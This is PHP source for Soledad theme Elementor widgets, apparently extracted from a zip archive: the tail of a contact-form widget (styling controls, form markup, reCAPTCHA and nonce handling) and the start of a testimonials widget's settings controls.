				'selectors'  => [
					'{{WRAPPER}} .pencif-field-group .pencif-input' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; height: auto;',
					'{{WRAPPER}} .pencif-field-group textarea'      => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; height: auto;',
				],
				'separator'  => 'before',
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'      => 'field_typography',
				'label'     => esc_html__( 'Typography', 'soledad' ),
				'selector'  => '{{WRAPPER}} .pencif-field-group .pencif-input, {{WRAPPER}} .pencif-field-group textarea',
				'separator' => 'before',
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'tab_field_focus',
			[
				'label' => esc_html__( 'Focus', 'soledad' ),
			]
		);

		$this->add_control(
			'field_focus_background',
			[
				'label'     => esc_html__( 'Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .pencif-field-group .pencif-input:focus' => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .pencif-field-group textarea:focus'      => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'field_focus_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .pencif-field-group .pencif-input:focus' => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .pencif-field-group textarea:focus'      => 'border-color: {{VALUE}};',
				],
				'condition' => [
					'field_border_border!' => '',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();

		$this->start_controls_section(
			'section_submit_button_style',
			[
				'label' => esc_html__( 'Submit Button', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->start_controls_tabs( 'tabs_button_style' );

		$this->start_controls_tab(
			'tab_button_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'button_text_color',
			[
				'label'     => esc_html__( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .pencif-button' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'button_typography',
				//'scheme'   => Schemes\Typography::TYPOGRAPHY_4,
				'selector' => '{{WRAPPER}} .pencif-button',
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'      => 'button_background_color',
				'separator' => 'before',
				'selector'  => '{{WRAPPER}} .pencif-button'
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'button_border',
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .pencif-button',
				'separator'   => 'before',
			]
		);

		$this->add_control(
			'button_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .pencif-button' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_responsive_control(
			'button_text_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .pencif-button' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'tab_button_hover',
			[
				'label' => esc_html__( 'Hover', 'soledad' ),
			]
		);

		$this->add_control(
			'button_hover_color',
			[
				'label'     => esc_html__( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .pencif-button:hover' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'      => 'button_background_hover_color',
				'separator' => 'before',
				'selector'  => '{{WRAPPER}} .pencif-button:hover'
			]
		);

		$this->add_control(
			'button_hover_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'separator' => 'before',
				'selectors' => [
					'{{WRAPPER}} .pencif-button:hover' => 'border-color: {{VALUE}};',
				],
				'condition' => [
					'button_border_border!' => '',
				],
			]
		);

		$this->add_control(
			'button_hover_animation',
			[
				'label' => esc_html__( 'Animation', 'soledad' ),
				'type'  => Controls_Manager::HOVER_ANIMATION,
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();

		$this->start_controls_section(
			'section_additional_style',
			[
				'label'     => esc_html__( 'Additional Message', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_additional_message!' => '',
				],
			]
		);

		$this->add_control(
			'additional_text_color',
			[
				'name'      => 'additional_text_color',
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .pencif-contact-form-additional-message' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'additional_text_typography',
				'selector' => '{{WRAPPER}} .pencif-contact-form-additional-message',
			]
		);

		$this->end_controls_section();
	}

	public function form_fields_render_attributes() {
		$settings        = $this->get_settings_for_display();
		$id              = $this->get_id();

		if ( ! empty ( $settings['button_size'] ) ) {
			$this->add_render_attribute( 'button', 'class', 'pencif-button-' . $settings['button_size'] );
		}

		if ( $settings['button_hover_animation'] ) {
			$this->add_render_attribute( 'button', 'class', 'elementor-animation-' . $settings['button_hover_animation'] );
		}

		$this->add_render_attribute(
			[
				'wrapper'      => [
					'class' => [
						'penci-form-fields-wrapper',
					],
				],
				'field-group'  => [
					'class' => [
						'pencif-field-group',
						'pencif-width-1-1',
					],
				],
				'submit-group' => [
					'class' => [
						'elementor-field-type-submit',
						'pencif-field-group',
						'pencif-flex',
						'pencif-width-1-1',
					],
				],

				'button'              => [
					'class' => [
						'penci-button',
						'pencif-button',
						'pencif-button-primary',
					],
					'name'  => 'submit',
				],
				'user_name_label'     => [
					'for'   => 'user_name' . $id,
					'class' => [
						'pencif-form-label',
					]
				],
				'contact_label'       => [
					'for'   => 'contact' . $id,
					'class' => [
						'pencif-form-label',
					]
				],
				'subject_label'       => [
					'for'   => 'subject' . $id,
					'class' => [
						'pencif-form-label',
					]
				],
				'email_address_label' => [
					'for'   => 'email' . $id,
					'class' => [
						'pencif-form-label',
					]
				],
				'message_label'       => [
					'for'   => 'message' . $id,
					'class' => [
						'pencif-form-label',
					]
				],
				'user_name_input'     => [
					'type'        => 'text',
					'name'        => 'name',
					'id'          => 'user_name' . $id,
					'placeholder' => ( $settings['user_name_placeholder'] ) ? $settings['user_name_placeholder'] : esc_html__( 'Your Name', 'soledad' ),
					'class'       => [
						'pencif-input',
					],
				],
				'contact_input'       => [
					'type'        => 'tel',
					'name'        => 'contact',
					'id'          => 'contact' . $id,
					'placeholder' => ( $settings['contact_placeholder'] ) ? $settings['contact_placeholder'] : esc_html__( 'Your Contact Number', 'soledad' ),
					'class'       => [
						'pencif-input',
					],
				],
				'subject_input'       => [
					'type'        => 'text',
					'name'        => 'subject',
					'id'          => 'subject' . $id,
					'placeholder' => ( $settings['subject_placeholder'] ) ? $settings['subject_placeholder'] : esc_html__( 'Your Message Subject', 'soledad' ),
					'class'       => [
						'pencif-input',
					],
				],
				'email_address_input' => [
					'type'        => 'email',
					'name'        => 'email',
					'id'          => 'email' . $id,
					'placeholder' => ( $settings['email_placeholder'] ) ? $settings['email_placeholder'] : esc_html__( 'example@email.com', 'soledad' ),
					'class'       => [
						'pencif-input'
					],
				],
				'message_area'        => [
					'name'        => 'message',
					'id'          => 'message' . $id,
					'rows'        => $settings['message_rows'],
					'placeholder' => ( $settings['message_placeholder'] ) ? $settings['message_placeholder'] : esc_html__( 'Your Message Here', 'soledad' ),
					'class'       => [
						'pencif-textarea',
					],
				],
			]
		);

		if ( isset ( $settings['show_recaptcha'] ) && $settings['show_recaptcha'] == 'yes' ) {
			if ( ! empty ( $settings['recaptcha_site_key'] ) and ! empty ( $settings['recaptcha_secret_key'] ) ) {
				$this->add_render_attribute( 'button', 'data-sitekey', $settings['recaptcha_site_key'] );
				$this->add_render_attribute( 'button', 'data-callback', 'PenciCFormCheckGICF' );
				$this->add_render_attribute( 'button', 'class', 'g-recaptcha' );
			}
		}

		if ( ! $settings['show_labels'] ) {
			$this->add_render_attribute( 'label', 'class', 'elementor-screen-only' );
		}

		$this->add_render_attribute( 'field-group', 'class', 'elementor-field-required' )
		     ->add_render_attribute( 'input', 'required', 'required' )
		     ->add_render_attribute( 'input', 'aria-required', 'true' );
	}


	public function render() {
		$this->form_fields_render_attributes();

		?>
        <div class="pencif-contact-form">
            <div class="penci-form-fields-wrapper">
				<?php $this->contact_form_html(); ?>
            </div>
        </div>
		<?php
	}

	public function contact_form_html() {
		$settings = $this->get_settings_for_display();
		$id       = $this->get_id();
		$form_id  = ! empty ( $settings['_element_id'] ) ? 'pencif-sf-' . $settings['_element_id'] : 'pencif-sf-' . $id;

		$this->add_render_attribute( 'contact-form', 'class', [
			'pencif-contact-form',
			$settings['two_columns'] ? 'pencif-2col' : 'pencif-all-col',
			$settings['name_email_field_inline'] ? 'pencif-name-inline' : '',
		] );
		$this->add_render_attribute( 'contact-form', 'action', admin_url( 'admin-ajax.php' ) );
		$this->add_render_attribute( 'contact-form', 'method', 'post' );


		if ( isset ( $settings['show_recaptcha'] ) && $settings['show_recaptcha'] == 'yes' ) {
			if ( empty ( $settings['recaptcha_site_key'] ) and empty ( $settings['recaptcha_secret_key'] ) ) {
				$this->add_render_attribute( 'contact-form', 'class', 'without-recaptcha' );
			}
		} else {
			$this->add_render_attribute( 'contact-form', 'class', 'without-recaptcha' );
		}


		$this->add_render_attribute( 'name-email-field-group', 'class', [
			'pencif-field-group',
			'elementor-field-required'
		] );

		$this->add_render_attribute( 'name-email-field-group', 'class', 'pencif-field-normal' );


		?>
        <div class="pencif-contact-form-wrapper">
            <form <?php $this->print_render_attribute_string( 'contact-form' ); ?>>

				<?php if ( $settings['two_columns'] ) : ?>
                <div class="pencif-col">
					<?php endif; ?>

                    <div <?php $this->print_render_attribute_string( 'name-email-field-group' ); ?>>
						<?php
						if ( $settings['show_labels'] ) {
							echo '<label ' . wp_kses_post( $this->get_render_attribute_string( 'user_name_label' ) ) . '>' . wp_kses_post( $settings['user_name_label'] ) . '</label>';
						}


						echo '<div class="pencif-form-controls">';
						echo '<input ' . wp_kses_post( $this->get_render_attribute_string( 'user_name_input' ) ) . ' required ="required">';
						echo '</div>';

						?>
                    </div>

                    <div <?php $this->print_render_attribute_string( 'name-email-field-group' ); ?>>
						<?php
						if ( $settings['show_labels'] ) {
							echo '<label ' . wp_kses_post( $this->get_render_attribute_string( 'email_address_label' ) ) . '>' . wp_kses_post( $settings['email_address_label'] ) . '</label>';
						}

						echo '<div class="pencif-form-controls">';
						echo '<input ' . wp_kses_post( $this->get_render_attribute_string( 'email_address_input' ) ) . ' required="required">';
						echo '</div>';
						?>
                    </div>

					<?php if ( $settings['contact_number'] ) : ?>
                        <div <?php $this->print_render_attribute_string( 'field-group' ); ?>>
							<?php

							if ( $settings['show_labels'] ) {
								echo '<label ' . wp_kses_post( $this->get_render_attribute_string( 'contact_label' ) ) . '>' . wp_kses_post( $settings['contact_label'] ) . '</label>';
							}
							echo '<div class="pencif-form-controls">';
							echo '<input ' . wp_kses_post( $this->get_render_attribute_string( 'contact_input' ) ) . '>';
							echo '</div>';

							?>
                        </div>
					<?php endif; ?>

					<?php if ( $settings['show_subject'] ) : ?>
                        <div <?php $this->print_render_attribute_string( 'field-group' ); ?>>
							<?php
							if ( $settings['show_labels'] ) {
								echo '<label ' . wp_kses_post( $this->get_render_attribute_string( 'subject_label' ) ) . '>' . wp_kses_post( $settings['subject_label'] ) . '</label>';
							}
							echo '<div class="pencif-form-controls">';
							echo '<input ' . wp_kses_post( $this->get_render_attribute_string( 'subject_input' ) ) . ' required="required">';
							echo '</div>';

							?>
                        </div>
					<?php endif; ?>

					<?php if ( $settings['two_columns'] ) : ?>
                </div>
                <div class="pencif-col">
					<?php endif; ?>

					<?php if ( $settings['show_message'] ) : ?>
                        <div <?php $this->print_render_attribute_string( 'field-group' ); ?>>
							<?php
							if ( $settings['show_labels'] ) {
								echo '<label ' . wp_kses_post( $this->get_render_attribute_string( 'message_label' ) ) . '>' . wp_kses_post( $settings['message_label'] ) . '</label>';
							}
							echo '<div class="pencif-form-controls">';
							echo '<textarea ' . wp_kses_post( $this->get_render_attribute_string( 'message_area' ) ) . ' required="required"></textarea>';
							echo '</div>';
							?>
                        </div>
					<?php endif; ?>

					<?php if ( 'yes' === $settings['show_additional_message'] ) : ?>
                        <div <?php $this->print_render_attribute_string( 'field-group' ); ?>>
							<span class="pencif-contact-form-additional-message">
								<?php echo esc_html( $settings['additional_message'] ); ?>
							</span>
                        </div>
					<?php endif; ?>


					<?php if ( ( $settings['redirect_after_submit'] == 'yes' ) && ! empty ( $settings['redirect_url']['url'] ) ) :
						$redirect_url = $settings['redirect_url']['url'];
						$redirect_extarnal = ( isset ( $settings['redirect_url']['is_external'] ) && ( $settings['redirect_url']['is_external'] ) == 'on' ) ? '_blank' : '_self';
						?>
                        <input type="hidden" name="redirect-url" value="<?php
						echo esc_url( $redirect_url ) ?>"/>

                        <input type="hidden" name="is-external" value="<?php
						echo esc_html( $redirect_extarnal ) ?>"/>

					<?php endif; ?>

					<?php if ( $settings['reset_after_submit'] == 'yes' ) : ?>
                        <input type="hidden" name="reset-after-submit"
                               value="<?php echo wp_kses_post( $settings['reset_after_submit'] ); ?>"/>
					<?php endif; ?>

                    <input type="hidden" class="widget_id" name="widget_id" value="<?php
					echo esc_attr( $id ); ?>"/>
                    <input type="hidden" name="<?php echo esc_attr( $form_id ); ?>" value="true"/>
                    <input type="hidden" class="page_id" name="page_id"
                           value="<?php echo esc_attr( get_the_ID() ); ?>"/>

                    <div <?php $this->print_render_attribute_string( 'submit-group' ); ?>>
                        <button type="submit" <?php $this->print_render_attribute_string( 'button' ); ?>>
							<?php if ( ! empty ( $settings['button_text'] ) ) : ?>
                                <span>
									<?php echo esc_html( $settings['button_text'] ); ?>
								</span>
							<?php endif; ?>
                        </button>
                    </div>

					<?php if ( isset ( $settings['show_recaptcha'] ) && $settings['show_recaptcha'] == 'yes' && $settings['recaptcha_site_key'] ) : ?>

					<input type="hidden" name="g-recaptcha-response" id="recaptchaResponse">
					<script src="https://www.google.com/recaptcha/api.js?render=<?php echo $settings['recaptcha_site_key'];?>"></script>
					<script>
						grecaptcha.ready(function() {
							grecaptcha.execute('<?php echo $settings['recaptcha_site_key'];?>', { action: 'submit' }).then(function(token) {
								document.getElementById('recaptchaResponse').value = token;
							});
						});
					</script>

					<?php endif; ?>

                    <input name="_wpnonce" value="<?php echo esc_attr( wp_create_nonce( "simpleContactForm" ) ); ?>"
                           type="hidden">

                    <input type="hidden" name="action" value="penci_contact_form"/>

					<?php if ( $settings['two_columns'] ) : ?>
                </div>
			<?php endif; ?>

            </form>
        </div>
		<?php
	}
}PK     0w\J;$!  !  /  elementor/modules/penci-testimonials/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciTestimonials;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-testimonials';
	}

	public function get_widgets() {
		return array( 'PenciTestimonials' );
	}
}
PK     0w\J5ss  s  C  elementor/modules/penci-testimonials/widgets/penci-testimonials.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciTestimonials\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Box_Shadow;
use Elementor\Group_Control_Typography;
use Elementor\Repeater;
use Elementor\Utils;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciTestimonials extends Base_Widget {

	public function get_name() {
		return 'penci-testimonials';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Testimonials', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-review';
	}

	public function get_categories() {
		return array( 'penci-elements' );
	}

	public function get_keywords() {
		return array( 'testimonials' );
	}

	protected function register_controls() {

		$this->start_controls_section(
			'section_testimonails',
			array(
				'label' => esc_html__( 'Testimonials', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'testitype',
			array(
				'label'   => __( 'Type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'crs',
				'options' => array(
					'crs'  => esc_html__( 'Slider', 'soledad' ),
					'grid' => esc_html__( 'Grid', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'style',
			array(
				'label'   => __( 'Select Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 's1',
				'options' => array(
					's1' => esc_html__( 'Style 1', 'soledad' ),
					's2' => esc_html__( 'Style 2', 'soledad' ),
					's3' => esc_html__( 'Style 3', 'soledad' ),
					's4' => esc_html__( 'Style 4', 'soledad' ),
					's5' => esc_html__( 'Style 5', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'slider_item',
			array(
				'label'   => __( 'Columns', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					'' => 'Default',
					'1' => '1',
					'2' => '2',
					'3' => '3',
					'4' => '4',
					'5' => '5',
					'6' => '6',
				),
			)
		);

		$this->add_control(
			'slider_titem',
			array(
				'label'   => __( 'Columns on Tablet', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					'' => 'Default',
					'1' => '1',
					'2' => '2',
					'3' => '3',
					'4' => '4',
					'5' => '5',
					'6' => '6',
				),
			)
		);

		$this->add_control(
			'slider_mitem',
			array(
				'label'   => __( 'Columns on Mobile', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '1',
				'options' => array(
					'1' => '1',
					'2' => '2',
					'3' => '3',
					'4' => '4',
					'5' => '5',
					'6' => '6',
				),
			)
		);

		$this->add_control(
			'imagepos',
			array(
				'label'     => __( 'Image Position', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => array(
					''      => __( 'Top', 'soledad' ),
					'left'  => __( 'Left', 'soledad' ),
					'right' => __( 'Right', 'soledad' ),
				),
				'condition' => array( 'style' => 's4' ),
			)
		);

		$this->add_control(
			'column_gap',
			array(
				'label'     => __( 'Column Gap', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 200,
					),
				),
				'selectors' => array(
					'{{WRAPPER}} .penci-testimonails' => '--pcsl-hgap: {{SIZE}}px;',
				),
			)
		);

		$this->add_control(
			'row_gap',
			array(
				'label'     => __( 'Row Gap', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 200,
					),
				),
				'selectors' => array(
					'{{WRAPPER}} .penci-testimonails' => '--pcsl-bgap: {{SIZE}}px;',
				),
				'condition' => array( 'testitype' => 'grid' ),
			)
		);

		$this->add_responsive_control(
			'_desc_width',
			array(
				'label'     => __( 'Description Width', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array( '{{WRAPPER}} .penci-testi-blockquote' => 'max-width: {{SIZE}}px;margin-left:auto;margin-right:auto;' ),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_reviews_items',
			array(
				'label' => esc_html__( 'Reviews Items', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$repeater = new Repeater();

		$repeater->add_control(
			'testi_name',
			array(
				'label'   => __( 'Custom Name', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => __( 'Testimonail #1', 'soledad' ),
			)
		);
		$repeater->add_control(
			'testi_image',
			array(
				'label'   => __( 'Choose Avatar', 'soledad' ),
				'type'    => Controls_Manager::MEDIA,
				'default' => array( 'url' => Utils::get_placeholder_image_src() ),
			)
		);
		$repeater->add_control(
			'testi_company',
			array(
				'label' => __( 'Company/Position', 'soledad' ),
				'type'  => Controls_Manager::TEXT,
			)
		);
		$repeater->add_control(
			'testi_desc',
			array(
				'label'   => __( 'Description', 'soledad' ),
				'type'    => Controls_Manager::TEXTAREA,
				'default' => __( 'I am text block. Click edit button to change this text.', 'soledad' ),
			)
		);
		$repeater->add_control(
			'testi_rating',
			array(
				'label'   => __( 'Rating', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					1 => 1,
					2 => 2,
					3 => 3,
					4 => 4,
					5 => 5,
				),
				'default' => '5',
			)
		);

		$this->add_control(
			'testimonails',
			array(
				'type'        => Controls_Manager::REPEATER,
				'fields'      => $repeater->get_controls(),
				'default'     => array(
					array(
						'testi_name'    => __( 'Customer #1', 'soledad' ),
						'testi_image'   => array( 'url' => Utils::get_placeholder_image_src() ),
						'testi_desc'    => __( 'I am text block. Click edit button to change this text.', 'soledad' ),
						'testi_company' => __( 'Company Name', 'soledad' ),
						'testi_link'    => '#',
					),
					array(
						'testi_name'    => __( 'Customer #2', 'soledad' ),
						'testi_image'   => array( 'url' => Utils::get_placeholder_image_src() ),
						'testi_desc'    => __( 'I am text block. Click edit button to change this text.', 'soledad' ),
						'testi_company' => __( 'Company Name', 'soledad' ),
						'testi_link'    => '#',
					),
					array(
						'testi_name'    => __( 'Customer #3', 'soledad' ),
						'testi_image'   => array( 'url' => Utils::get_placeholder_image_src() ),
						'testi_desc'    => __( 'I am text block. Click edit button to change this text.', 'soledad' ),
						'testi_company' => __( 'Company Name', 'soledad' ),
						'testi_link'    => '#',
					),
					array(
						'testi_name'    => __( 'Customer #4', 'soledad' ),
						'testi_image'   => array( 'url' => Utils::get_placeholder_image_src() ),
						'testi_desc'    => __( 'I am text block. Click edit button to change this text.', 'soledad' ),
						'testi_company' => __( 'Company Name', 'soledad' ),
						'testi_link'    => '#',
					),
				),
				'title_field' => '{{{ name }}}',
			)
		);

		$this->end_controls_section();

		// Options slider
		$this->start_controls_section(
			'section_slider_options',
			array(
				'label'     => __( 'Slider Options', 'soledad' ),
				'condition' => array( 'testitype' => 'crs' ),
			)
		);

		$this->add_control( 'carousel_slider_effect', array(
			'label'       => __( 'Carousel Slider Effect', 'soledad' ),
			'description' => __( 'The "Swing" effect does not support the loop option.', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => get_theme_mod( 'penci_carousel_slider_effect', 'swing' ),
			'options'     => array(
				'default' => 'Default',
				'swing'   => 'Swing',
			),
		) );

		$this->add_control(
			'autoplay',
			array(
				'label'   => __( 'Autoplay', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => '',
			)
		);
		$this->add_control(
			'loop',
			array(
				'label'     => __( 'Slider Loop', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'yes',
				'condition' => [ 'carousel_slider_effect' => 'default' ],
			)
		);
		$this->add_control(
			'auto_time',
			array(
				'label'   => __( 'Slider Auto Time (at x seconds)', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'default' => 4000,
			)
		);
		$this->add_control(
			'speed',
			array(
				'label'   => __( 'Slider Speed (at x seconds)', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'default' => 800,
			)
		);
		$this->add_control(
			'shownav',
			array(
				'label'   => __( 'Show next/prev buttons', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			)
		);
		$this->add_control(
			'showdots',
			array(
				'label' => __( 'Show dots navigation', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);
		$this->end_controls_section();

		$this->start_controls_section(
			'section_spacing',
			array(
				'label' => esc_html__( 'Elements Spacing', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_responsive_control(
			'p_name_marbottom',
			array(
				'label'     => __( 'Name Spacing Top', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array( '{{WRAPPER}} .penci-testi-name' => 'margin-top: {{SIZE}}px' ),
			)
		);
		$this->add_responsive_control(
			'p_company_marbottom',
			array(
				'label'     => __( 'Company/Position Spacing Top', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array( '{{WRAPPER}} .penci-testi-company' => 'margin-top: {{SIZE}}px' ),
			)
		);
		$this->add_responsive_control(
			'image_spacing',
			array(
				'label'     => __( 'Image Spacing Top', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array( '{{WRAPPER}} .penci-testi-avatar' => 'margin-top: {{SIZE}}px' ),
			)
		);
		$this->add_responsive_control(
			'p_rating_marbottom',
			array(
				'label'     => __( 'Rating Spacing Top', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array( '{{WRAPPER}} .penci-testi-rating' => 'margin-top: {{SIZE}}px' ),
			)
		);
		$this->add_responsive_control(
			'p_desc_marbottom',
			array(
				'label'     => __( 'Description Spacing Top', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array( '{{WRAPPER}} .penci-testi-blockquote' => 'margin-top: {{SIZE}}px' ),
			)
		);

		$this->add_responsive_control(
			'desc_marbot',
			array(
				'label'     => __( 'Description Spacing Bottom', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array( '{{WRAPPER}} .penci-testi-blockquote' => 'margin-bottom: {{SIZE}}px' ),
			)
		);

		$this->add_responsive_control(
			'p_desc_padding',
			array(
				'label'     => __( 'Description Padding', 'soledad' ),
				'type'      => Controls_Manager::HIDDEN,
				'selectors' => array( '{{WRAPPER}} .penci-testi-blockquote' => 'padding: {{SIZE}}px' ),
			)
		);

		$this->add_responsive_control(
			'description_padding',
			array(
				'label'      => __( 'Content Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pc-testiinner .penci-testi-blockquote' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
			)
		);

		$this->end_controls_section();

		// Options colors
		$this->start_controls_section(
			'section_style_content',
			array(
				'label' => __( 'Content', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);
		$this->add_control(
			'team4_bg',
			array(
				'label'     => __( 'Member Items Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-testi-s4 .pc-testiinner' => 'background-color: {{VALUE}};' ),
				'condition' => array( 'style' => array( 's4' ) ),
			)
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			array(
				'name'      => 'team4_shadow',
				'label'     => __( 'Adjust Box Shadow', 'soledad' ),
				'selector'  => '{{WRAPPER}} .penci-testi-s4 .pc-testiinner',
				'condition' => array( 'style' => array( 's4' ) ),
			)
		);

		$this->add_responsive_control(
			'team4_padding',
			array(
				'label'      => __( 'Member Items Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-testi-s4 .pc-testiinner' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
				'condition'  => array( 'style' => array( 's4' ) ),
			)
		);

		$this->add_control(
			'icon_quote_color',
			array(
				'label'     => __( 'Quote Icon Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-testimonail .penci-testi-bq-icon:before' => 'color: {{VALUE}}; border-color:{{VALUE}};' ),
			)
		);
		$this->add_control(
			'icon_quote_bgcolor',
			array(
				'label'     => __( 'Quote Icon Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-testimonail .penci-testi-bq-icon:before' => 'background-color: {{VALUE}};' ),
				'condition' => array( 'style' => array( 's1' ) ),
			)
		);

		$this->add_responsive_control(
			'quote_size',
			array(
				'label'     => __( 'Quote Icon size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 200,
					),
				),
				'selectors' => array(
					'{{WRAPPER}} .penci-testimonail .penci-testi-bq-icon:before' => 'font-size: {{SIZE}}px;',
					'{{WRAPPER}} .penci-testi-s2 .penci-testi-bq-icon:before'    => 'width: auto; height: auto; line-height: {{SIZE}}px;',
				),
			)
		);

		// Slider
		$this->add_control(
			'heading_image',
			array(
				'label'     => __( 'Image', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_responsive_control(
			'_image_width_height',
			array(
				'label'     => __( 'Image With/Height', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'selectors' => array( '{{WRAPPER}} .penci-testi-avatar' => 'width: {{SIZE}}px;height: {{SIZE}}px' ),
			)
		);

		$this->add_responsive_control(
			'image_borderdius',
			array(
				'label'      => __( 'Image Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
